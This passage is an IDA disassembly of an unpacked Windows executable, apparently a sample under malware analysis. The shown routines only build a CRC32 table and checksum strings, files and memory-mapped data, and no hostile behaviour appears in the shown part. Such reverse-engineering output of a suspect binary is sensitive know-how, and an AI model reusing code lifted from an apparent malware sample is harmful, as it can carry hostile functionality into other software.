;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	47653B5E93DD0D018B05D88C2CF9EAC0

; File Name   :	u:\work\47653b5e93dd0d018b05d88c2cf9eac0_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	420000
; Section 1. (virtual address 00001000)
; Virtual size			: 00015000 (  86016.)
; Section size in file		: 00015000 (  86016.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
TEUm		segment	para public 'CODE' use32
		assume cs:TEUm
		;org 421000h
		assume es:nothing, ss:nothing, ds:TEUm,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421000	proc near		; CODE XREF: sub_424AAF+28p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_4332C8
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_421000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421021	proc near		; CODE XREF: sub_4219B0+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_4332C8
		mov	ecx, [ebp+var_4]
		call	sub_4210DD
		mov	esp, ebp
		pop	ebp
		retn
sub_421021	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42103D	proc near		; CODE XREF: sub_424AAF+38p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_18], ecx
		mov	[ebp+var_4], 0EDB88320h
		mov	ecx, [ebp+var_18]
		call	sub_4210DD
		push	400h
		call	sub_431784
		add	esp, 4
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_14]
		mov	[eax+4], ecx
		mov	[ebp+var_C], 0
		jmp	short loc_421080
; ---------------------------------------------------------------------------


loc_421077:				; CODE XREF: sub_42103D+9Aj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_421080:				; CODE XREF: sub_42103D+38j
		cmp	[ebp+var_C], 100h
		jge	short loc_4210D9
		mov	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], 8
		jmp	short loc_4210A1
; ---------------------------------------------------------------------------


loc_421098:				; CODE XREF: sub_42103D:loc_4210C6j
		mov	ecx, [ebp+var_10]
		sub	ecx, 1
		mov	[ebp+var_10], ecx


loc_4210A1:				; CODE XREF: sub_42103D+59j
		cmp	[ebp+var_10], 0
		jle	short loc_4210C8
		mov	edx, [ebp+var_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_4210BE
		mov	eax, [ebp+var_8]
		shr	eax, 1
		xor	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jmp	short loc_4210C6
; ---------------------------------------------------------------------------


loc_4210BE:				; CODE XREF: sub_42103D+72j
		mov	ecx, [ebp+var_8]
		shr	ecx, 1
		mov	[ebp+var_8], ecx


loc_4210C6:				; CODE XREF: sub_42103D+7Fj
		jmp	short loc_421098
; ---------------------------------------------------------------------------


loc_4210C8:				; CODE XREF: sub_42103D+68j
		mov	edx, [ebp+var_18]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[eax+ecx*4], edx
		jmp	short loc_421077
; ---------------------------------------------------------------------------


loc_4210D9:				; CODE XREF: sub_42103D+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42103D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210DD	proc near		; CODE XREF: sub_421021+13p
					; sub_42103D+13p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+4]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_43177E
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+4], 0
		mov	esp, ebp
		pop	ebp
		retn
sub_4210DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421109	proc near		; CODE XREF: TEUm:004216A6p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_421109
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+var_14], 1
		mov	[ebp+var_4], 0
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], 0
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_433024	; GetFileSize
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_42117B
		call	dword_433028	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_42117B
		mov	[ebp+var_14], 0
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx], 0
		mov	dword ptr [edx+4], 0
		jmp	short loc_42119B
; ---------------------------------------------------------------------------


loc_42117B:				; CODE XREF: sub_421109+50j
					; sub_421109+5Aj
		mov	eax, [ebp+var_18]
		xor	edx, edx
		mov	ecx, 20h
		call	sub_431810
		mov	ecx, [ebp+var_1C]
		xor	esi, esi
		or	eax, ecx
		or	edx, esi
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[ecx+4], edx


loc_42119B:				; CODE XREF: sub_421109+70j
		jmp	short loc_4211A7
; ---------------------------------------------------------------------------


loc_42119D:				; DATA XREF: TEUm:00434BD4o
		mov	[ebp+var_14], 0
		mov	eax, offset loc_4211A7
		retn
; ---------------------------------------------------------------------------


loc_4211A7:				; CODE XREF: sub_421109:loc_42119Bj
					; DATA XREF: sub_421109+98o
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	al, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_421109	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset sub_431D0A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-1Ch], ecx
		mov	dword ptr [ebp-14h], 0
		mov	eax, [ebp+0Ch]
		mov	dword ptr [eax], 0FFFFFFFFh
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_42121C
		mov	dword ptr [ebp-18h], 0
		push	offset dword_434DC0
		lea	edx, [ebp-18h]
		push	edx
		call	sub_43184C	; _CxxThrowException


loc_42121C:				; CODE XREF: TEUm:00421205j
					; TEUm:00421241j
		mov	eax, [ebp+8]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_421243
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		mov	cl, [eax]
		push	ecx
		mov	ecx, [ebp-1Ch]
		call	sub_4219E0
		mov	edx, [ebp+8]
		add	edx, 1
		mov	[ebp+8], edx
		jmp	short loc_42121C
; ---------------------------------------------------------------------------


loc_421243:				; CODE XREF: TEUm:00421224j
		jmp	short loc_421252
; ---------------------------------------------------------------------------


loc_421245:				; DATA XREF: TEUm:00434C2Co
		mov	dword ptr [ebp-14h], 17h
		mov	eax, offset loc_421252
		retn
; ---------------------------------------------------------------------------


loc_421252:				; CODE XREF: TEUm:loc_421243j
					; DATA XREF: TEUm:0042124Co
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		not	ecx
		mov	edx, [ebp+0Ch]
		mov	[edx], ecx
		mov	eax, [ebp-14h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_431D1E
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, 108Ch
		call	sub_431860
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-1084h], ecx
		mov	dword ptr [ebp-14h], 0
		push	1
		lea	ecx, [ebp-70h]
		call	dword_43315C
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+0Ch]
		mov	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [ebp-4], 1
		mov	ecx, [ebp-1084h]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4212F7
		mov	dword ptr [ebp-107Ch], 0
		push	offset dword_434DC0
		lea	edx, [ebp-107Ch]
		push	edx
		call	sub_43184C	; _CxxThrowException


loc_4212F7:				; CODE XREF: TEUm:004212DAj
		mov	eax, dword_433158
		mov	ecx, [eax]
		push	ecx
		push	0A1h
		mov	edx, [ebp+8]
		push	edx
		lea	ecx, [ebp-70h]
		call	dword_433154
		lea	ecx, [ebp-70h]
		call	dword_433140
		mov	[ebp-1088h], eax
		cmp	dword ptr [ebp-1088h], 0
		jnz	short loc_42134D
		mov	eax, [ebp-70h]
		mov	ecx, [eax+4]
		lea	ecx, [ebp+ecx-70h]
		call	dword_433160
		mov	[ebp-108Ch], eax
		mov	edx, [ebp-108Ch]
		mov	[ebp-14h], edx
		jmp	loc_421400
; ---------------------------------------------------------------------------


loc_42134D:				; CODE XREF: TEUm:00421327j
		push	1000h
		lea	eax, [ebp-1078h]
		push	eax
		lea	ecx, [ebp-70h]
		call	dword_433144
		mov	[ebp-1090h], eax
		mov	ecx, [ebp-1090h]
		call	dword_433148
		mov	[ebp-1094h], eax
		mov	ecx, [ebp-1094h]
		mov	[ebp-78h], ecx


loc_421383:				; CODE XREF: TEUm:004213F5j
		cmp	dword ptr [ebp-78h], 0
		jz	short loc_4213F7
		mov	dword ptr [ebp-74h], 0
		jmp	short loc_42139B
; ---------------------------------------------------------------------------


loc_421392:				; CODE XREF: TEUm:004213BDj
		mov	edx, [ebp-74h]
		add	edx, 1
		mov	[ebp-74h], edx


loc_42139B:				; CODE XREF: TEUm:00421390j
		mov	eax, [ebp-74h]
		cmp	eax, [ebp-78h]
		jge	short loc_4213BF
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp-74h]
		mov	al, [ebp+edx-1078h]
		push	eax
		mov	ecx, [ebp-1084h]
		call	sub_4219E0
		jmp	short loc_421392
; ---------------------------------------------------------------------------


loc_4213BF:				; CODE XREF: TEUm:004213A1j
		push	1000h
		lea	ecx, [ebp-1078h]
		push	ecx
		lea	ecx, [ebp-70h]
		call	dword_433144
		mov	[ebp-1098h], eax
		mov	ecx, [ebp-1098h]
		call	dword_433148
		mov	[ebp-109Ch], eax
		mov	edx, [ebp-109Ch]
		mov	[ebp-78h], edx
		jmp	short loc_421383
; ---------------------------------------------------------------------------


loc_4213F7:				; CODE XREF: TEUm:00421387j
		lea	ecx, [ebp-70h]
		call	dword_43314C


loc_421400:				; CODE XREF: TEUm:00421348j
		jmp	short loc_42140F
; ---------------------------------------------------------------------------


loc_421402:				; DATA XREF: TEUm:00434C8Co
		mov	dword ptr [ebp-14h], 17h
		mov	eax, offset loc_42140F
		retn
; ---------------------------------------------------------------------------


loc_42140F:				; CODE XREF: TEUm:loc_421400j
					; DATA XREF: TEUm:00421409o
		mov	dword ptr [ebp-4], 0
		lea	ecx, [ebp-70h]
		call	dword_433140
		test	eax, eax
		jz	short loc_42142C
		lea	ecx, [ebp-70h]
		call	dword_43314C


loc_42142C:				; CODE XREF: TEUm:00421421j
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		not	ecx
		mov	edx, [ebp+0Ch]
		mov	[edx], ecx
		mov	eax, [ebp-14h]
		mov	[ebp-1080h], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-70h]
		call	dword_433150
		mov	eax, [ebp-1080h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42146A	proc near		; CODE XREF: sub_424AAF+46p

var_102C	= dword	ptr -102Ch
var_1028	= dword	ptr -1028h
var_1024	= dword	ptr -1024h
var_1020	= byte ptr -1020h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42146A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, 101Ch
		call	sub_431860
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+var_102C],	ecx
		mov	[ebp+var_18], 0
		mov	[ebp+var_14], 0
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0FFFFFFFFh
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_102C]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4214DE
		mov	[ebp+var_1028],	0
		push	offset dword_434DC0
		lea	edx, [ebp+var_1028]
		push	edx
		call	sub_43184C	; _CxxThrowException


loc_4214DE:				; CODE XREF: sub_42146A+57j
		push	0
		push	8000027h
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_433018	; CreateFileA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_421511
		call	dword_433028	; RtlGetLastWin32Error
		mov	[ebp+var_18], eax
		jmp	loc_42159F
; ---------------------------------------------------------------------------


loc_421511:				; CODE XREF: sub_42146A+97j
		push	0
		lea	ecx, [ebp+var_1024]
		push	ecx
		push	1000h
		lea	edx, [ebp+var_1020]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		call	dword_43301C	; ReadFile
		mov	[ebp+var_20], eax


loc_421533:				; CODE XREF: sub_42146A+133j
		cmp	[ebp+var_20], 0
		jz	short loc_42159F
		cmp	[ebp+var_1024],	0
		jz	short loc_42159F
		mov	[ebp+var_1C], 0
		jmp	short loc_421554
; ---------------------------------------------------------------------------


loc_42154B:				; CODE XREF: sub_42146A+10Fj
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx


loc_421554:				; CODE XREF: sub_42146A+DFj
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+var_1024]
		jnb	short loc_42157B
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	dl, [ebp+ecx+var_1020]
		push	edx
		mov	ecx, [ebp+var_102C]
		call	sub_4219E0
		jmp	short loc_42154B
; ---------------------------------------------------------------------------


loc_42157B:				; CODE XREF: sub_42146A+F3j
		push	0
		lea	eax, [ebp+var_1024]
		push	eax
		push	1000h
		lea	ecx, [ebp+var_1020]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	dword_43301C	; ReadFile
		mov	[ebp+var_20], eax
		jmp	short loc_421533
; ---------------------------------------------------------------------------


loc_42159F:				; CODE XREF: sub_42146A+A2j
					; sub_42146A+CDj ...
		jmp	short loc_4215AE
; ---------------------------------------------------------------------------


loc_4215A1:				; DATA XREF: TEUm:00434CE4o
		mov	[ebp+var_18], 17h
		mov	eax, offset loc_4215AE
		retn
; ---------------------------------------------------------------------------


loc_4215AE:				; CODE XREF: sub_42146A:loc_42159Fj
					; DATA XREF: sub_42146A+13Eo
		mov	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_14], 0
		jz	short loc_4215C5
		mov	eax, [ebp+var_14]
		push	eax
		call	dword_433020	; CloseHandle


loc_4215C5:				; CODE XREF: sub_42146A+14Fj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		not	edx
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_42146A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset sub_431D32
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-44h], ecx
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-18h], 0
		mov	dword ptr [ebp-14h], 0
		mov	eax, [ebp+0Ch]
		mov	dword ptr [eax], 0FFFFFFFFh
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-44h]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_42164F
		mov	dword ptr [ebp-40h], 0
		push	offset dword_434DC0
		lea	edx, [ebp-40h]
		push	edx
		call	sub_43184C	; _CxxThrowException


loc_42164F:				; CODE XREF: TEUm:00421638j
		push	0
		push	8000027h
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+8]
		push	eax
		call	dword_433018	; CreateFileA
		mov	[ebp-18h], eax
		cmp	dword ptr [ebp-18h], 0FFFFFFFFh
		jnz	short loc_421682
		call	dword_433028	; RtlGetLastWin32Error
		mov	[ebp-1Ch], eax
		jmp	loc_4217D5
; ---------------------------------------------------------------------------


loc_421682:				; CODE XREF: TEUm:00421672j
		mov	dword ptr [ebp-2Ch], 0
		mov	dword ptr [ebp-28h], 0
		mov	dword ptr [ebp-24h], 0
		mov	dword ptr [ebp-20h], 0
		lea	ecx, [ebp-2Ch]
		push	ecx
		mov	edx, [ebp-18h]
		push	edx
		call	sub_421109
		add	esp, 8
		mov	[ebp-48h], al
		mov	eax, [ebp-48h]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_4216C9
		mov	dword ptr [ebp-1Ch], 18h
		jmp	loc_4217D5
; ---------------------------------------------------------------------------


loc_4216C9:				; CODE XREF: TEUm:004216BBj
		mov	ecx, [ebp-2Ch]
		or	ecx, [ebp-28h]
		test	ecx, ecx
		jz	loc_4217D5
		push	0
		push	0
		push	0
		push	2
		push	0
		mov	edx, [ebp-18h]
		push	edx
		call	dword_433070	; CreateFileMappingA
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_421702
		call	dword_433028	; RtlGetLastWin32Error
		mov	[ebp-1Ch], eax
		jmp	loc_4217D5
; ---------------------------------------------------------------------------


loc_421702:				; CODE XREF: TEUm:004216F2j
					; TEUm:004217D0j
		cmp	dword ptr [ebp-28h], 0
		jl	loc_4217D5
		jg	short loc_421718
		cmp	dword ptr [ebp-2Ch], 0
		jbe	loc_4217D5


loc_421718:				; CODE XREF: TEUm:0042170Cj
		cmp	dword ptr [ebp-28h], 0
		jg	short loc_421731
		jl	short loc_421729
		cmp	dword ptr [ebp-2Ch], 0A00000h
		jnb	short loc_421731


loc_421729:				; CODE XREF: TEUm:0042171Ej
		mov	eax, [ebp-2Ch]
		mov	[ebp-38h], eax
		jmp	short loc_421738
; ---------------------------------------------------------------------------


loc_421731:				; CODE XREF: TEUm:0042171Cj
					; TEUm:00421727j
		mov	dword ptr [ebp-38h], 0A00000h


loc_421738:				; CODE XREF: TEUm:0042172Fj
		mov	ecx, [ebp-38h]
		push	ecx
		mov	edx, [ebp-24h]
		push	edx
		mov	ecx, 20h
		mov	eax, [ebp-24h]
		mov	edx, [ebp-20h]
		call	sub_431890
		and	edx, 0
		push	eax
		push	4
		mov	eax, [ebp-14h]
		push	eax
		call	dword_43306C	; MapViewOfFile
		mov	[ebp-34h], eax
		mov	ecx, [ebp-38h]
		mov	[ebp-30h], ecx
		mov	edx, [ebp-34h]
		mov	[ebp-3Ch], edx


loc_42176F:				; CODE XREF: TEUm:0042179Aj
		mov	eax, [ebp-30h]
		mov	ecx, [ebp-30h]
		sub	ecx, 1
		mov	[ebp-30h], ecx
		test	eax, eax
		jbe	short loc_42179C
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp-3Ch]
		mov	cl, [eax]
		push	ecx
		mov	ecx, [ebp-44h]
		call	sub_4219E0
		mov	edx, [ebp-3Ch]
		add	edx, 1
		mov	[ebp-3Ch], edx
		jmp	short loc_42176F
; ---------------------------------------------------------------------------


loc_42179C:				; CODE XREF: TEUm:0042177Dj
		mov	eax, [ebp-34h]
		push	eax
		call	dword_433040	; UnmapViewOfFile
		mov	ecx, [ebp-38h]
		xor	edx, edx
		mov	eax, [ebp-24h]
		add	eax, ecx
		mov	ecx, [ebp-20h]
		adc	ecx, edx
		mov	[ebp-24h], eax
		mov	[ebp-20h], ecx
		mov	edx, [ebp-38h]
		xor	eax, eax
		mov	ecx, [ebp-2Ch]
		sub	ecx, edx
		mov	edx, [ebp-28h]
		sbb	edx, eax
		mov	[ebp-2Ch], ecx
		mov	[ebp-28h], edx
		jmp	loc_421702
; ---------------------------------------------------------------------------


loc_4217D5:				; CODE XREF: TEUm:0042167Dj
					; TEUm:004216C4j ...
		jmp	short loc_4217E4
; ---------------------------------------------------------------------------


loc_4217D7:				; DATA XREF: TEUm:00434D3Co
		mov	dword ptr [ebp-1Ch], 17h
		mov	eax, offset loc_4217E4
		retn
; ---------------------------------------------------------------------------


loc_4217E4:				; CODE XREF: TEUm:loc_4217D5j
					; DATA XREF: TEUm:004217DEo
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_4217FB
		mov	eax, [ebp-18h]
		push	eax
		call	dword_433020	; CloseHandle


loc_4217FB:				; CODE XREF: TEUm:004217EFj
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_42180B
		mov	ecx, [ebp-14h]
		push	ecx
		call	dword_433020	; CloseHandle


loc_42180B:				; CODE XREF: TEUm:004217FFj
		mov	edx, [ebp+0Ch]
		mov	eax, [edx]
		not	eax
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset sub_431D3C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, 1018h
		call	sub_431860
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-1028h], ecx
		mov	dword ptr [ebp-18h], 0
		mov	dword ptr [ebp-14h], 0
		mov	eax, [ebp+0Ch]
		mov	dword ptr [eax], 0FFFFFFFFh
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-1028h]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4218A1
		mov	dword ptr [ebp-1024h], 0
		push	offset dword_434DC0
		lea	edx, [ebp-1024h]
		push	edx
		call	sub_43184C	; _CxxThrowException


loc_4218A1:				; CODE XREF: TEUm:00421884j
		push	0
		push	8000027h
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+8]
		push	eax
		call	dword_433018	; CreateFileA
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0FFFFFFFFh
		jnz	short loc_4218D4
		call	dword_433028	; RtlGetLastWin32Error
		mov	[ebp-18h], eax
		jmp	loc_421964
; ---------------------------------------------------------------------------


loc_4218D4:				; CODE XREF: TEUm:004218C4j
		push	0
		lea	ecx, [ebp-1020h]
		push	ecx
		push	1000h
		lea	edx, [ebp-101Ch]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	dword_43301C	; ReadFile
		mov	[ebp-1Ch], eax


loc_4218F6:				; CODE XREF: TEUm:00421962j
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_421964
		cmp	dword ptr [ebp-1020h], 0
		jz	short loc_421964
		push	esi
		push	edi
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		mov	ebx, [ebp-1028h]
		mov	edi, [ebx+4]
		lea	esi, [ebp-101Ch]
		mov	ebx, [ebp-1020h]
		lea	edx, [esi+ebx]


loc_421924:				; CODE XREF: TEUm:00421937j
		xor	eax, eax
		mov	bl, [esi]
		mov	al, cl
		inc	esi
		xor	al, bl
		shr	ecx, 8
		mov	ebx, [edi+eax*4]
		xor	ecx, ebx
		cmp	edx, esi
		jnz	short loc_421924
		pop	edi
		pop	esi
		mov	eax, [ebp+0Ch]
		mov	[eax], ecx
		push	0
		lea	ecx, [ebp-1020h]
		push	ecx
		push	1000h
		lea	edx, [ebp-101Ch]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	dword_43301C	; ReadFile
		mov	[ebp-1Ch], eax
		jmp	short loc_4218F6
; ---------------------------------------------------------------------------


loc_421964:				; CODE XREF: TEUm:004218CFj
					; TEUm:004218FAj ...
		jmp	short loc_421973
; ---------------------------------------------------------------------------


loc_421966:				; DATA XREF: TEUm:00434D94o
		mov	dword ptr [ebp-18h], 17h
		mov	eax, offset loc_421973
		retn
; ---------------------------------------------------------------------------


loc_421973:				; CODE XREF: TEUm:loc_421964j
					; DATA XREF: TEUm:0042196Do
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_42198A
		mov	ecx, [ebp-14h]
		push	ecx
		call	dword_433020	; CloseHandle


loc_42198A:				; CODE XREF: TEUm:0042197Ej
		mov	edx, [ebp+0Ch]
		mov	eax, [edx]
		not	eax
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219B0	proc near		; DATA XREF: TEUm:off_4332C8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_421021
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_4219D5
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_43177E
		add	esp, 4


loc_4219D5:				; CODE XREF: sub_4219B0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4219B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219E0	proc near		; CODE XREF: TEUm:00421233p
					; TEUm:004213B8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		shr	ecx, 8
		mov	edx, [ebp+arg_0]
		and	edx, 0FFh
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		and	eax, 0FFh
		xor	edx, eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		xor	ecx, [eax+edx*4]
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4219E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421A20	proc near		; CODE XREF: sub_425D94+D0p
					; sub_425D94+15Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], 0


loc_421A30:				; CODE XREF: sub_421A20+3Cj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
